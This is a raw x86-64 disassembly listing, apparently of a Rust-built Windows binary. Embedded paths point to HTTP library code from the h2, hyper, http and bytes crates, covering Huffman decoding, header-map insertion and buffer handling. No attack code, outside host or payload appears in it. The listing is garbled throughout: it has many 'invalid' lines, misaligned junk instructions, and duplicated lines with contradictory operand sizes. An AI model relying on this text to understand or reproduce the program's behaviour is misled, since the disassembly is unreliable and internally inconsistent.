add byte [rax], al
add byte [rcx + 0xf], cl
ror dword [r8 - 0x77], 0x84
ror dword [rax - 0x77], 0x84
ror dword [rax - 0x77], 0x84
mov qword [rsp + 0xc8], rax
lea rax, [rdx + 0x40]
mov qword [rsp + 0x30], rax
and al, 0xc8
add byte [rax], al
add byte [rax - 0x73], cl
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x30], rax
lea eax, [r14 + r14]
mov r9, qword [rdx + 0x50]
push rax
push rax
sub r9, qword [rdx + 0x48]
cmp rax, r9
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x68], rdx
sub byte [rax - 0x77], cl
push rsp
and al, 0x68
jbe case.0x140018f24.520
mov rcx, qword [rsp + 0x30]
mov rdx, rax
call fcn.1400126f0
invalid
invalid
dec dword [rax - 0x75]
push rsp
and al, 0x68
xor byte [rax - 0x77], cl
ret 0x40e8
invalid
and al, 0x68
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub byte [rax - 0x75], cl
and al, 0x20
test r14, r14
je 0x14001dde4
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
push rax
lea rax, [rdx + 0x50]
mov qword [rsp + 0x90], rax
xor esi, esi
lea r10, [0x140118c80]
xor edi, edi
jmp 0x14001dc27
mov r10, qword [rsp + 0x30]
mov r10, qword [r10]
mov byte [r10 + rax], bl
inc rax
mov qword [rsp + 0x98], rax
cmp rax, r9
ja 0x14001df6b
mov qword [rdx + 0x48], rax
lea r10, [0x140118c80]
inc rsi
cmp r14, rsi
je 0x14001ddd4
cmp rdi, 0x100
jae 0x14001df43
mov rax, qword [rsp + 0xc8]
movzx ebp, byte [rax + rsi]
shl rdi, 8
add rdi, r10
mov eax, ebp
and eax, 0xfffffff0
movzx r9d, byte [rax + rdi + 9]
mov r13b, 1
mov r11b, 6
test r9b, 4
jne 0x14001dddf
add rdi, rax
mov rbx, qword [rdi]
test r9b, 2
je 0x14001dcd3
movzx edi, byte [rdi + 8]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
cmp r9, rax
jne 0x14001dca8
mov edx, 1
mov rcx, qword [rsp + 0x30]
call fcn.1400126f0
mov r11b, 6
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
mov r10, qword [rsp + 0x30]
mov r10, qword [r10]
mov byte [r10 + rax], dil
inc rax
mov qword [rsp + 0x98], rax
cmp rax, r9
ja 0x14001df6b
mov qword [rdx + 0x48], rax
lea r10, [0x140118c80]
cmp rbx, 0x100
jae 0x14001df57
shl rbx, 8
add rbx, r10
and ebp, 0xf
shl ebp, 4
movzx r15d, byte [rbp + rbx + 9]
test r15b, 4
jne 0x14001dddf
add rbx, rbp
mov rdi, qword [rbx]
test r15b, 2
je 0x14001dc1b
movzx ebx, byte [rbx + 8]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
cmp r9, rax
jne 0x14001dbf0
mov edx, 1
mov rcx, qword [rsp + 0x30]
call fcn.1400126f0
mov r11b, 6
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
jmp 0x14001dbf0
cmp rax, r12
jbe 0x14001dafc
movzx esi, byte [r9 + r10 + 2]
lea r12, [r10 + 3]
mov qword [r8 + 8], r12
mov edi, esi
and edi, 0x7f
shl edi, 7
add r14, rdi
test sil, sil
jns 0x14001dae9
cmp rax, r12
jbe 0x14001dafc
movzx esi, byte [r9 + r10 + 3]
lea r12, [r10 + 4]
mov qword [r8 + 8], r12
mov edi, esi
and edi, 0x7f
shl edi, 0xe
add r14, rdi
test sil, sil
jns 0x14001dae9
cmp rax, r12
jbe 0x14001dafc
movzx esi, byte [r9 + r10 + 4]
lea r12, [r10 + 5]
mov qword [r8 + 8], r12
test sil, sil
js 0x14001df3c
and esi, 0x7f
shl esi, 0x15
add r14, rsi
jmp 0x14001dae9
test r15b, 1
jne 0x14001dde4
test rdi, rdi
je 0x14001dde4
jmp 0x14001def1
mov r8, qword [rdx + 0x48]
lea rcx, [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
call fcn.140012550
mov rax, qword [rsp + 0x38]
movzx r11d, byte [rsp + 0x40]
test rax, rax
je 0x14001de4f
movzx ecx, r11b
movzx edx, byte [rsp + 0x47]
shl edx, 0x10
movzx r8d, word [rsp + 0x45]
or r8d, edx
shl r8, 0x20
mov edx, dword [rsp + 0x41]
or rdx, r8
mov rsi, qword [rsp + 0x50]
test sil, 1
jne 0x14001de61
shl rdx, 8
or rdx, rcx
lea r9, [0x14014fa88]
mov rcx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
jmp 0x14001deee
mov r13b, 1
mov rcx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
jmp 0x14001def1
mov ebx, r11d
shr rsi, 5
shl rdx, 8
or rdx, rcx
sub rax, rsi
add rdx, rsi
mov rcx, qword [rsp + 0x48]
add rcx, rsi
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], rdx
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0xe0]
call fcn.140012480
mov qword [rsp + 0xd0], rsi
mov rax, qword [rsp + 0xa8]
mov rdx, rax
sub rdx, rsi
jb 0x14001e00e
add rsi, qword [rsp + 0xa0]
mov r9, qword [rsp + 0x98]
mov rax, rsi
mov rsi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
mov r11d, ebx
xor r13d, r13d
add r12, r14
jb 0x14001dfde
mov r10, qword [rsp + 0xc0]
cmp r12, qword [r10 + 8]
ja 0x14001dff6
mov qword [r8 + 8], r12
mov byte [rcx], r13b
mov byte [rcx + 1], r11b
mov qword [rcx + 8], r9
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdx
mov qword [rcx + 0x20], rsi
mov rax, qword [rsp + 0xb8]
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x30], r14
jmp 0x14001db09
mov bl, 0xb
jmp 0x14001dafc
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackhuffmanmod.rs
mov edx, 0x100
mov rcx, rdi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackhuffmanmod.rs
mov edx, 0x100
add byte [rcx], al
add byte [rax], al
mov rcx, rbx
call fcn.1401085b0
fld1
cmpsb byte [rsi], byte [rdi]
invalid
lea rax, [rsp + 0x98]
add byte [rax], al
mov qword [rsp + 0x70], rax
lea rax, [fcn.140012cc0]
jo 0x14001dfc1
lea eax, [fcn.140012cc0]
invalid
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x90]
js 0x14001dfcd
mov ecx, dword [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
mov dword [rsp + 0x88], eax
add byte [rax - 0x73], cl
add eax, 0x1244fd
lea rax, [0x1401424a0]
adc al, byte [rax]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
cmp byte [rax - 0x39], cl
and al, 0x40
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 2
mov dword [rsp + 0x50], 2
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
adc r8b, byte [rax]
lea rcx, [rsp + 0x38]
and al, 0x38
call fcn.140108560
add byte [rax - 0x73], cl
or eax, 0x131bcb
lea rcx, str.overflow
adc eax, dword [rax]
lea r8, [0x14014fbb8]
mov edx, 8
sbb edx, dword [rbx]
add byte [rdx + 8], bh
add byte [rax], al
call fcn.140108990
add byte [rax - 0x73], cl
or eax, 0x131b63
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
adc eax, dword [rax]
lea r8, [0x14014fb98]
mov edx, 0x36
sbb edx, dword [rbx]
add byte [rdx + 0x36], bh
add byte [rax], al
call fcn.140108630
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xd8]
fadd dword [rax]
add byte [rax], al
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
fld dword [rax + 0x12]
invalid
lea rcx, [rsp + 0x38]
call fcn.140108560
int3
mov r15, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov esp, dword [rsp + 0x30]
mov esp, dword [rsp + 0x30]
mov rax, qword [r14]
add r14, 0x18
mov rcx, r14
mov ecx, esi
invalid
mov ecx, esi
mov rdx, rbx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [rax + 0x10]
mov rbx, r15
mov ebx, edi
mov ebx, edi
mov rdi, r12
mov qword [rsi + 8], rbx
mov dword [rsi + 8], ebx
mov qword [rsi + 0x10], rdi
mov qword [rsi], 0
add byte [rax], al
adc byte [rax - 0x39], cl
invalid
add byte [rax], al
jmp 0x14001e222
invalid
mov rcx, qword [r14 + 0x18]
mov qword [rsi], rax
invalid
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov dword [rsi + 0x10], edi
invalid
mov dword [rsi + 0x10], edi
mov qword [rsi + 0x18], rcx
sbb byte [rax - 0x7d], cl
invalid
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
add byte [rbp + rax + 0x48], dh
mov eax, dword [rcx + 0x10]
invalid
adc bl, al
ret
movzx eax, byte [rcx + 8]
lea rcx, [0x140176aa8]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
mov eax, 7
ret
add byte [rax], al
add bl, al
mov eax, 0xd
ret
add byte [rax], al
add bl, al
mov eax, 4
ret
add byte [rax], al
add bl, al
mov eax, 6
ret
add byte [rax], al
add bl, al
mov eax, 0xf
ret
add byte [rax], al
add bl, al
mov eax, 0x10
ret
add byte [rax], al
add bl, al
mov eax, 0x11
ret
add byte [rax], al
add bl, al
mov eax, 0x16
ret
add byte [rax], al
add bl, al
mov eax, 0xa
ret
add byte [rax], al
add bl, al
mov eax, 0xc
ret
mov eax, 3
ret
mov eax, 8
ret
mov eax, 0x13
ret
mov eax, 0x1c
ret
mov eax, 0x19
ret
mov eax, 0x1d
ret
mov eax, 0x1b
ret
mov eax, 0xe
ret
mov eax, 5
ret
mov eax, 2
ret
mov eax, 0x23
ret
mov eax, 0x1e
ret
mov eax, 0x20
ret
mov eax, 0x14
ret
mov eax, 0x15
ret
mov eax, 0x18
ret
mov eax, 0x17
ret
mov eax, 9
ret
mov eax, 0xb
ret
mov eax, 0x12
ret
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
jne 0x14001e45f
call fcn.14002e060
mov qword [rsi], 2
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm0, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
movups xmmword [rsi + 8], xmm0
mov rsi, qword [rsi + 0x48]
test r14, r14
test r14, r14
je 0x14001e4ff
lea rax, [r14 - 1]
movabs rcx, 0x3fffffffffffffff
and rcx, rax
mov rax, rsi
cmp rcx, 7
jb 0x14001e4e9
inc rcx
mov rdx, rcx
and rdx, 0xfffffffffffffff8
clc
clc
lea rax, [rsi + rdx*4]
xor r8d, r8d
movaps xmm0, xmmword [0x1401137e0]
nop word cs:[rax + rax]
movups xmmword [rsi + r8*4], xmm0
movups xmmword [rsi + r8*4 + 0x10], xmm0
add r8, 8
cmp rdx, r8
ret 0xec75
ret 0xec75
cmp rcx, rdx
je 0x14001e4ff
lea rcx, [rsi + r14*4]
nop dword [rax]
mov dword [rax], 0xffff
add rax, 4
cmp rax, rcx
jne 0x14001e4f0
test rdi, rdi
je 0x14001e6ab
mov rax, qword [rsp + 0x28]
mov rbx, qword [rax + 0x20]
imul rdi, rdi, 0x68
add rdi, rbx
movzx eax, word [rax + 0x58]
movzx r15d, ax
xor r12d, r12d
jmp 0x14001e543
mov word [rsi + rcx*4], r13w
mov word [rsi + rcx*4 + 2], ax
cmp rbx, rdi
je 0x14001e6ab
mov r13, r12
mov rbp, rbx
add rbx, 0x68
inc r12
lea rdx, [rbp + 0x40]
mov rcx, qword [rsp + 0x28]
call fcn.140038000
mov r8d, eax
and r8d, r15d
mov word [rbp + 0x60], ax
xor edx, edx
nop word [rax + rax]
mov rcx, r8
mov r8d, 0
cmp rcx, r14
jae 0x14001e570
cmp word [rsi + rcx*4], 0xffff
je 0x14001e530
movzx r8d, word [rsi + rcx*4 + 2]
and r8d, r15d
mov r9d, ecx
sub r9d, r8d
mov r8d, r15d
and r8d, r9d
cmp r8, rdx
jb 0x14001e5d0
inc rdx
inc rcx
mov r8, rcx
jmp 0x14001e570
movzx r8d, word [rsi + rdx*4 + 2]
mov word [rsi + rdx*4], r13w
xchg esi, eax
add ah, byte [rsi + 0x44]
mov dword [rsi + rdx*4], ebp
mov word [rsi + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov r13d, ecx
mov rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
mov ecx, 0
cmp rdx, r14
jae 0x14001e5d0
movzx ecx, word [rsi + rdx*4]
cmp cx, 0xffff
jne 0x14001e5aa
mov word [rsi + rdx*4], r13w
mov rcx, rdx
mov word [rsi + rcx*4 + 2], ax
cmp rbx, rdi
jne 0x14001e543
invalid
invalid
invalid
invalid
jmp 0x14001e6ab
je 0x14001ec8a
mov rdi, rax
movaps xmm0, xmmword [0x1401137e0]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
test r14, r14
je 0x14001e652
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0xf4d0e
adc eax, 0xf4d0e
mov qword [rsi + 0x48], rdi
mov qword [rsi + 0x50], 8
movzx eax, byte [0x140182310]
mov edx, 0x270
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14001ec99
mov rdi, rax
cmp qword [rsi + 0x18], 0
je 0x14001e697
mov r8, qword [rsi + 0x20]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi + 0x18], 6
mov qword [rsi + 0x20], rdi
mov qword [rsi + 0x28], 0
mov rbx, qword [rsp + 0x28]
lea rax, [rbx + 0x18]
mov qword [rsp + 0x90], rax
mov rcx, rbx
mov r14, qword [rsp + 0x30]
mov rdx, r14
call fcn.140038000
mov ebp, eax
movzx edi, word [rbx + 0x58]
mov r15d, ebp
and r15d, edi
mov r12, qword [rbx + 0x50]
mov rsi, qword [rbx + 0x48]
mov r9, qword [rbx + 0x20]
mov rdx, qword [rbx + 0x28]
mov r10, qword [r14]
mov rax, qword [r14 + 8]
mov qword [rsp + 0xf0], rax
movzx r11d, byte [r14 + 8]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x98], rax
xor ebx, ebx
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x100], r9
mov qword [rsp + 0xf8], r10
mov byte [rsp + 0x27], r11b
jmp 0x14001e736
cmp byte [rax + 8], r11b
je 0x14001e803
inc rbx
inc r15
mov rax, r15
nop dword [rax]
mov r15, rax
mov eax, 0
cmp r15, r12
jae 0x14001e740
movzx r13d, word [rsi + r15*4]
cmp r13, 0xffff
je 0x14001e8c7
movzx eax, word [rsi + r15*4 + 2]
mov ecx, edi
and ecx, eax
mov r8d, r15d
sub r8d, ecx
and r8d, edi
cmp r8, rbx
jb 0x14001e9e9
cmp ax, bp
jne 0x14001e730
cmp rdx, r13
jbe 0x14001ec5a
test r10, r10
sete al
imul r14, r13, 0x68
mov rcx, qword [r9 + r14 + 0x40]
test rcx, rcx
setne r8b
cmp r8b, al
je 0x14001e730
lea rax, [r9 + r14]
add rax, 0x40
test rcx, rcx
je 0x14001e726
mov rcx, qword [rsp + 0x98]
cmp qword [rax + 0x10], rcx
jne 0x14001e730
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0xf0]
mov r8, qword [rsp + 0x98]
call fcn.140106bb0
movzx r11d, byte [rsp + 0x27]
mov r10, qword [rsp + 0xf8]
mov r9, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x68]
test eax, eax
jne 0x14001e730
lea rsi, [r9 + r14]
mov r15, qword [rsp + 0x28]
lea rcx, [r15 + 0x30]
mov rdx, qword [rsp + 0x38]
mov rax, qword [rdx + 0x20]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
cmp qword [r9 + r14], 0
je 0x14001ebb8
mov rdi, qword [rsi + 0x10]
mov rbx, qword [r15 + 0x40]
mov rdx, rbx
cmp rbx, qword [r15 + 0x30]
jne 0x14001e854
call fcn.14003ab50
mov rdx, qword [r15 + 0x40]
mov rax, qword [r15 + 0x38]
lea rcx, [rdx + rdx*8]
mov qword [rax + rcx*8], 1
mov qword [rax + rcx*8 + 8], rdi
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], r13
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + rcx*8 + 0x20], xmm0
movups xmmword [rax + rcx*8 + 0x30], xmm1
mov r8, qword [rsp + 0x60]
mov qword [rax + rcx*8 + 0x40], r8
inc rdx
mov qword [r15 + 0x40], rdx
cmp rdi, rdx
jae 0x14001ec7b
lea rcx, [rdi + rdi*8]
mov qword [rax + rcx*8 + 0x10], 1
mov qword [rax + rcx*8 + 0x18], rbx
mov qword [rsi], 1
mov qword [rsi + 0x10], rbx
jmp 0x14001ec25
mov rcx, qword [rsp + 0x30]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov r8, qword [rsp + 0x38]
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xa0], xmm0
cmp rdx, 0x7fff
ja 0x14001ea4c
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rax, rdx
mov rcx, qword [rsp + 0x90]
cmp rdx, qword [rcx]
mov rsi, qword [rsp + 0x28]
jne 0x14001e975
call case.0x14002a2ab.1428
mov rdx, qword [rsp + 0x68]
mov r9, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r12, qword [rsi + 0x50]
imul rcx, rax, 0x68
mov qword [r9 + rcx], 0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x60]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [r9 + rcx + 0x40], xmm0
movups xmmword [r9 + rcx + 0x50], xmm1
mov word [r9 + rcx + 0x60], bp
inc rax
mov qword [rsi + 0x28], rax
cmp r15, r12
jae 0x14001ec69
mov rax, qword [rsi + 0x48]
mov word [rax + r15*4], dx
mov word [rax + r15*4 + 2], bp
xor esi, esi
jmp 0x14001ec44
cmp rbx, 0x200
setae dil
mov r14, qword [rsp + 0x28]
cmp qword [r14], 2
setne bl
mov rcx, qword [rsp + 0x30]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov r8, qword [rsp + 0x38]
je 0x14001ea1c
sub byte [rcx - 0x7d], cl
add cl, byte ds:[rdi]
xchg ebp, eax
ret
and al, 0x38
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0xb0], xmm1
sub dword [rsp + 0xb0], ecx
movaps xmmword [rsp + 0xa0], xmm0
cmp rdx, 0x7fff
jbe 0x14001ea99
add byte [rax - 0x7f], cl
cli
invalid
lea rcx, [rsp + 0xb8]
mov rax, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x70]
add bh, bh
push rax
adc byte [rax - 0x75], cl
and al, 0x70
test rax, rax
je 0x14001ea91
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rax + 0x10]
mov sil, 2
jmp 0x14001ec44
stosd dword [rdi], eax
add dword [rax], eax
add byte [rdi], cl
adc byte [rcx], al
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
mov rax, rdx
mov rcx, qword [rsp + 0x90]
cmp rdx, qword [rcx]
jne 0x14001eaf6
call case.0x14002a2ab.1428
mov rdx, qword [rsp + 0x68]
mov r9, qword [r14 + 0x20]
mov rax, qword [r14 + 0x28]
mov rsi, qword [r14 + 0x48]
mov r12, qword [r14 + 0x50]
and dil, bl
imul rcx, rax, 0x68
mov qword [r9 + rcx], 0
movaps xmm0, xmmword [rsp + 0x40]
and al, 0x40
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
movups xmmword [rcx + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x60]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [r9 + rcx + 0x40], xmm0
movups xmmword [r9 + rcx + 0x50], xmm1
or dword [rax + 0x66], edx
mov dword [r9 + rcx + 0x60], ebp
inc rax
mov qword [r14 + 0x28], rax
xor eax, eax
mov rcx, r15
mov r15d, 0
cmp rcx, r12
jae 0x14001eb50
movzx r9d, word [rsi + rcx*4]
cmp r9w, 0xffff
je 0x14001eb8a
invalid
inc rax
movzx r8d, word [rsi + rcx*4 + 2]
mov word [rsi + rcx*4], dx
mov word [rsi + rcx*4 + 2], bp
inc rcx
mov ebp, r8d
mov edx, r9d
mov r15, rcx
jmp 0x14001eb50
mov word [rsi + rcx*4], dx
mov word [rsi + rcx*4 + 2], bp
cmp rax, 0x80
setb al
not dil
test dil, al
jne 0x14001ebb1
cmp qword [r14], 0
jne 0x14001ebb1
mov qword [r14], 1
xor esi, esi
jmp 0x14001ec44
mov rdi, qword [r15 + 0x40]
mov rax, rdi
cmp rdi, qword [r15 + 0x30]
jne 0x14001ebce
call fcn.14003ab50
mov rax, qword [r15 + 0x40]
mov rcx, qword [r15 + 0x38]
lea rdx, [rax + rax*8]
mov qword [rcx + rdx*8], 0
mov qword [rcx + rdx*8 + 8], r13
mov qword [rcx + rdx*8 + 0x10], 0
mov qword [rcx + rdx*8 + 0x18], r13
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rcx + rdx*8 + 0x20], xmm0
movups xmmword [rcx + rdx*8 + 0x30], xmm1
mov r8, qword [rsp + 0x60]
mov qword [rcx + rdx*8 + 0x40], r8
inc rax
mov qword [r15 + 0x40], rax
mov qword [rsi], 1
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
mov r8, qword [rsp + 0x30]
mov rax, qword [r8]
mov sil, 1
test rax, rax
je 0x14001ec44
lea rcx, [r8 + 0x18]
mov rdx, qword [r8 + 8]
mov r8, qword [r8 + 0x10]
call qword [rax + 0x10]
mov eax, esi
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r13
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
lea eax, [0x14013fd38]
mov rcx, r15
mov rdx, r12
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rdi
call fcn.1401085b0
mov ecx, 2
mov edx, 0x20
call fcn.1401082a0
mov ecx, 8
mov edx, 0x270
call fcn.1401082a0
int3
invalid
int3
add byte [rax - 0x77], cl
add dword [rax - 0x73], ecx
add eax, 0xf82d2
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], 0xd
mov qword [rcx + 0x18], 0
mov byte [rcx + 0x20], 0
ret
lea ecx, [0x1401167f0]
mov qword [rax], rcx
ret
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rdx
mov ebx, ecx
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
or al, 0
or al, 0
test rax, rax
je 0x14001eda8
mov rdi, rax
mov rax, qword [rsi + 0x10]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsi]
movups xmmword [rdi], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
add byte [rax - 0x7b], cl
invalid
je 0x14001edb7
add byte [rax - 0x7b], cl
sal byte [rsp + rbp + 0x48], 0x89
cmp byte [rax - 0x73], cl
or eax, 0xf787b
mov qword [rax], rdi
lea rcx, [0x140116610]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], bl
inc rax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
mov qword [rbp - 8], rdi
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
ud2
jmp 0x14001f6b5
dec rax
mov qword [rcx], rax
mov byte [r8 + 0x120], 0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [r9 + r9*4 + 0x74], r8b
and al, 0x20
mov dword [rsp + 0x20], r14d
mov dword [rsp + 0x24], esi
cmp rax, r14
jbe 0x14001f772
mov rax, qword [rdi + 8]
mov rcx, qword [rax + r15]
cmp rcx, 2
cmp ecx, 2
cmp ecx, 2
je 0x14001f772
add rax, r15
cmp dword [rax + 0x114], esi
jne 0x14001f772
cmp byte [rax + 0x50], 5
ja 0x14001f760
test rcx, rcx
jne 0x14001f760
pop rdi
pop rdi
cmp qword [rax + 0x88], 0
jne 0x14001f760
cmp qword [rax + 0x78], 0
jne 0x14001f760
cmp byte [rax + 0x121], 0
jne 0x14001f760
cmp byte [rax + 0x122], 0
jne 0x14001f760
cmp byte [rax + 0x126], 0
jne 0x14001f760
cmp byte [rax + 0x127], 0
jne 0x14001f760
cmp byte [rax + 0x124], 0
jne 0x14001f760
cmp dword [rax + 0x48], 0x3b9aca00
jne 0x14001f760
mov rcx, rdx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.14001fc70
nop
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x28], rbx
lea rax, [0x14001b1f0]
mov qword [rsp + 0x30], rax
